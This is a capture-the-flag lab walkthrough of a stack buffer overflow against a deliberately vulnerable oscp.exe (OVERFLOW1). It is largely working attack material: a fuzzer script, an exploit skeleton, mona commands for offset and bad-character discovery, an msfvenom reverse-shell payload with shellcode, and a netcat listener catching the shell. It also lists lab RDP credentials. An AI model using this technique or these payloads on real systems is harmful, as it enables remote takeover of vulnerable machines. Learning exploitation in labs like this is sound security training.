Exploitation

Buffer Overflow Prep

Introduction

We connect through rdp to the remote machine: xfreerdp /u:admin /p:password /cert:ignore /v:10.10.137.44 /workarea

Here is a guide for exploiting buffer overflows: https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst

oscp.exe - OVERFLOW1

Right-click the Immunity Debugger icon on the Desktop and choose "Run as administrator".

When Immunity loads, click the open file icon, or choose File -> Open. Navigate to the vulnerable-apps folder on the admin user's desktop, and then the "oscp" folder. Select the "oscp" (oscp.exe) binary and click "Open".

The binary will open in a "paused" state, so click the red play icon or choose Debug -> Run. In a terminal window, the oscp.exe binary should be running, and tells us that it is listening on port 1337.

On your Kali box, connect to port 1337 on 10.10.137.44 using netcat: nc 10.10.137.44 1337

Type "HELP" and press Enter. Note that there are 10 different OVERFLOW commands numbered 1 - 10. Type "OVERFLOW1 test" and press enter. The response should be "OVERFLOW1 COMPLETE". Terminate the connection.

Mona Configuration

The mona script has been preinstalled, however to make it easier to work with, you should configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window: !mona config -set workingfolder c:\mona\%p

Fuzzing

Create a file on your Kali box called fuzzer.py with the following contents:

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.137.44"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Run the fuzzer.py script using python: python3 fuzzer.py

The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.

As we can see below, the largest number of bytes is 9600:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes

Crash Replication & Controlling EIP

Create another file on your Kali box called exploit.py with the following contents:

import socket

ip = "10.10.137.44"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

Copy the output and place it into the payload variable of the exploit.py script.

On Windows, in Immunity Debugger, re-open the oscp.exe again using the same method as before, and click the red play icon to get it running. You will have to do this prior to each time we run the exploit.py (which we will run multiple times with incremental modifications).

On Kali, run the modified exploit.py script: python3 exploit.py

The script should crash the oscp.exe server again. This time, in Immunity Debugger, in the command input box at the bottom of the screen, run the following mona command, changing the distance to the same length as the pattern you created: !mona findmsp -distance 2400

Mona should display a log window with the output of the command. If not, click the "Window" menu and then "Log data" to view it (choose "CPU" to switch back to the standard view).

In this output you should see a line which states:

EIP contains normal pattern : ... (offset XXXX)

Here, the value is 1978.

Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to "BBBB".

Restart oscp.exe in Immunity and run the modified exploit.py script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this guide, then the location should be C:\mona\oscp\bytearray.bin).

!mona bytearray -b "\x00"

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Update your exploit.py script and set the payload variable to the string of bad chars the script generates.

Restart oscp.exe in Immunity and run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following mona command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 0198FA30

A popup window should appear labelled "mona Memory comparison results". If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.

Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.

The first badchar in the list should be the null byte (\\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \\x00. Then update the payload variable in your exploit.py script and remove the new badchars as well.

So lets remove x07 from bytearray and exploit.py: !mona bytearray -b "\x00\x07"

Then we run the server and the exploit. As previously, we check the esp value and run !mona compare -f C:\mona\oscp\bytearray.bin -a <address>.

So now, lets remove x2e from bytearray and exploit.py: !mona bytearray -b "\x00\x07\x2e"

Then we run the server and the exploit. As previously, we check the esp value and run !mona compare -f C:\mona\oscp\bytearray.bin -a <address>.

We can see that 2f is not a bad chars. So now, lets remove xa0 from bytearray and exploit.py: !mona bytearray -b "\x00\x07\x2e\xa0"

Then we run the server and the exploit. As previously, we check the esp value and run !mona compare -f C:\mona\oscp\bytearray.bin -a <address>.

Finally, we got the unmodified address so we know what chars may prevent our payload to work.

Finding a Jump Point

With the oscp.exe either running or in a crashed state, run the following mona command:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. The results should display in the "Log data" window (use the Window menu to switch to it if needed).

Choose an address and update your exploit.py script, setting the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

Generate Payload

Run the following msfvenom command on Kali, using your Kali VPN IP as the LHOST and updating the -b option with all the badchars you identified (including \x00):

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
...
"\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
"\x19\x53\xd0\x92\x19\x53\x2e\x1d")

Prepend NOPs

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes:

padding = "\x90" * 16

Exploit!

With the correct prefix, offset, return address, padding, and payload set, you can now exploit the buffer overflow to get a reverse shell.

Start a netcat listener on your Kali box using the LPORT you specified in the msfvenom command (4444 if you didn't change it).

Restart oscp.exe in Immunity and run the modified exploit.py script again. Your netcat listener should catch a reverse shell!

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nc -lvp 4444         
listening on [any] 4444 ...
10.10.33.51: inverse host lookup failed: Unknown host
connect to [10.11.5.152] from (UNKNOWN) [10.10.33.51] 49247
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>